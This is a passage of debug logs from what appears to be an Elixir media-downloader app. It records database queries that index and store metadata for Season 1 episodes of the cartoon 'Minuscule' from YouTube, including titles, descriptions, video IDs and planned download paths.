s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.162 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-28 14:30:03Z], 4] 00:54:34.164 [debug] QUERY OK source="media_items" db=1.2ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sans Coquille/ Shell less (Season 1)", "e3cd1254-b727-432b-802b-7a49dfb4497c", "pS8uRZ5gnpM", 340, false, 4, "https://www.youtube.com/watch?v=pS8uRZ5gnpM", 73, "/downloads/Miniscule Season 1/2020-07-28 Minuscule - Sans Coquille⧸ Shell less (Season 1)/Minuscule - Sans Coquille⧸ Shell less (Season 1) [pS8uRZ5gnpM].mp4", false, false, false, [], 1, ~U[2020-07-28 14:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sans Coquille/ Shell less (Season 1)", "pS8uRZ5gnpM", 340, false, 4, "https://www.youtube.com/watch?v=pS8uRZ5gnpM", "/downloads/Miniscule Season 1/2020-07-28 Minuscule - Sans Coquille⧸ Shell less (Season 1)/Minuscule - Sans Coquille⧸ Shell less (Season 1) [pS8uRZ5gnpM].mp4", false, ~U[2020-07-28 14:30:03Z]] 00:54:34.165 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.165 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-21 14:30:04Z], 4] 00:54:34.167 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA nosy fly glues herself on a piece of chewing gum on the asphalt. How will she manage to get rid of her sticky and cumbersome load?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chewing gum (Season 1)", "6d485a78-8600-48e0-846a-647afd72a28b", "rnooeTauh9g", 336, false, 4, "https://www.youtube.com/watch?v=rnooeTauh9g", 74, "/downloads/Miniscule Season 1/2020-07-21 Minuscule - Chewing gum (Season 1)/Minuscule - Chewing gum (Season 1) [rnooeTauh9g].mp4", false, false, false, [], 1, ~U[2020-07-21 14:30:04Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA nosy fly glues herself on a piece of chewing gum on the asphalt. How will she manage to get rid of her sticky and cumbersome load?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chewing gum (Season 1)", "rnooeTauh9g", 336, false, 4, "https://www.youtube.com/watch?v=rnooeTauh9g", "/downloads/Miniscule Season 1/2020-07-21 Minuscule - Chewing gum (Season 1)/Minuscule - Chewing gum (Season 1) [rnooeTauh9g].mp4", false, ~U[2020-07-21 14:30:04Z]] 00:54:34.168 [debug] QUERY OK source="sources" db=0.4ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.169 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-16 14:30:00Z], 4] 00:54:34.171 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Ugly/Moche (Season 1)", "e78a418f-9f3f-4483-9307-559cbc6edde9", "USvOMFKWvs8", 345, false, 4, "https://www.youtube.com/watch?v=USvOMFKWvs8", 75, "/downloads/Miniscule Season 1/2020-07-16 Minuscule - Ugly⧸Moche (Season 1)/Minuscule - Ugly⧸Moche (Season 1) [USvOMFKWvs8].mp4", false, false, false, [], 1, ~U[2020-07-16 14:30:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Ugly/Moche (Season 1)", "USvOMFKWvs8", 345, false, 4, "https://www.youtube.com/watch?v=USvOMFKWvs8", "/downloads/Miniscule Season 1/2020-07-16 Minuscule - Ugly⧸Moche (Season 1)/Minuscule - Ugly⧸Moche (Season 1) [USvOMFKWvs8].mp4", false, ~U[2020-07-16 14:30:00Z]] 00:54:34.171 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.172 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-07 14:30:03Z], 4] 00:54:34.174 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - à tes souhaits/Bless you (Season 1)", "2f52bb27-cc76-4d32-8eab-86e122bb40f5", "mJ9BAo7nA-c", 321, false, 4, "https://www.youtube.com/watch?v=mJ9BAo7nA-c", 76, "/downloads/Miniscule Season 1/2020-07-07 Minuscule - à tes souhaits⧸Bless you (Season 1)/Minuscule - à tes souhaits⧸Bless you (Season 1) [mJ9BAo7nA-c].mp4", false, false, false, [], 1, ~U[2020-07-07 14:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - à tes souhaits/Bless you (Season 1)", "mJ9BAo7nA-c", 321, false, 4, "https://www.youtube.com/watch?v=mJ9BAo7nA-c", "/downloads/Miniscule Season 1/2020-07-07 Minuscule - à tes souhaits⧸Bless you (Season 1)/Minuscule - à tes souhaits⧸Bless you (Season 1) [mJ9BAo7nA-c].mp4", false, ~U[2020-07-07 14:30:03Z]] 00:54:34.174 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.175 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-02 14:30:03Z], 4] 00:54:34.177 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule- il pleut il mouille c'est la fête à l'escargouille/It Never Rains but it Pours (season 1)", "9201f1f7-200f-423e-a263-8b03d2b3d35b", "rmKftX0yirU", 343, false, 4, "https://www.youtube.com/watch?v=rmKftX0yirU", 77, "/downloads/Miniscule Season 1/2020-07-02 Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1)/Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1) [rmKftX0yirU].mp4", false, false, false, [], 1, ~U[2020-07-02 14:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule- il pleut il mouille c'est la fête à l'escargouille/It Never Rains but it Pours (season 1)", "rmKftX0yirU", 343, false, 4, "https://www.youtube.com/watch?v=rmKftX0yirU", "/downloads/Miniscule Season 1/2020-07-02 Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1)/Minuscule- il pleut il mouille c'est la fête à l'escargouille⧸It Never Rains but it Pours (season 1) [rmKftX0yirU].mp4", false, ~U[2020-07-02 14:30:03Z]] 00:54:34.178 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.179 [debug] QUERY OK source="media_items" db=0.8ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-25 14:30:01Z], 4] 00:54:34.182 [debug] QUERY OK source="media_items" db=2.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coup de Vent/A Gust of Wind (season 1)", "6dd5f2ce-5cdd-456c-94d6-2e0521916590", "Gkz7lxhdhSw", 338, false, 4, "https://www.youtube.com/watch?v=Gkz7lxhdhSw", 78, "/downloads/Miniscule Season 1/2020-06-25 Minuscule - Coup de Vent⧸A Gust of Wind (season 1)/Minuscule - Coup de Vent⧸A Gust of Wind (season 1) [Gkz7lxhdhSw].mp4", false, false, false, [], 1, ~U[2020-06-25 14:30:01Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coup de Vent/A Gust of Wind (season 1)", "Gkz7lxhdhSw", 338, false, 4, "https://www.youtube.com/watch?v=Gkz7lxhdhSw", "/downloads/Miniscule Season 1/2020-06-25 Minuscule - Coup de Vent⧸A Gust of Wind (season 1)/Minuscule - Coup de Vent⧸A Gust of Wind (season 1) [Gkz7lxhdhSw].mp4", false, ~U[2020-06-25 14:30:01Z]] 00:54:34.183 [debug] QUERY OK source="sources" db=0.4ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.184 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-16 14:30:00Z], 4] 00:54:34.187 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Escargot qui roule n'amasse pas mousse / A rolling snail gathers no Moss (Season 1)", "25f5a228-a1fe-4aa6-86e8-d3159f1520be", "1U8G4t7MTuI", 334, false, 4, "https://www.youtube.com/watch?v=1U8G4t7MTuI", 79, "/downloads/Miniscule Season 1/2020-06-16 Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1)/Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1) [1U8G4t7MTuI].mp4", false, false, false, [], 1, ~U[2020-06-16 14:30:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Escargot qui roule n'amasse pas mousse / A rolling snail gathers no Moss (Season 1)", "1U8G4t7MTuI", 334, false, 4, "https://www.youtube.com/watch?v=1U8G4t7MTuI", "/downloads/Miniscule Season 1/2020-06-16 Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1)/Minuscule - Escargot qui roule n'amasse pas mousse ⧸ A rolling snail gathers no Moss (Season 1) [1U8G4t7MTuI].mp4", false, ~U[2020-06-16 14:30:00Z]] 00:54:34.188 [debug] QUERY OK source="sources" db=0.4ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.189 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-09 14:30:05Z], 4] 00:54:34.192 [debug] QUERY OK source="media_items" db=2.1ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", 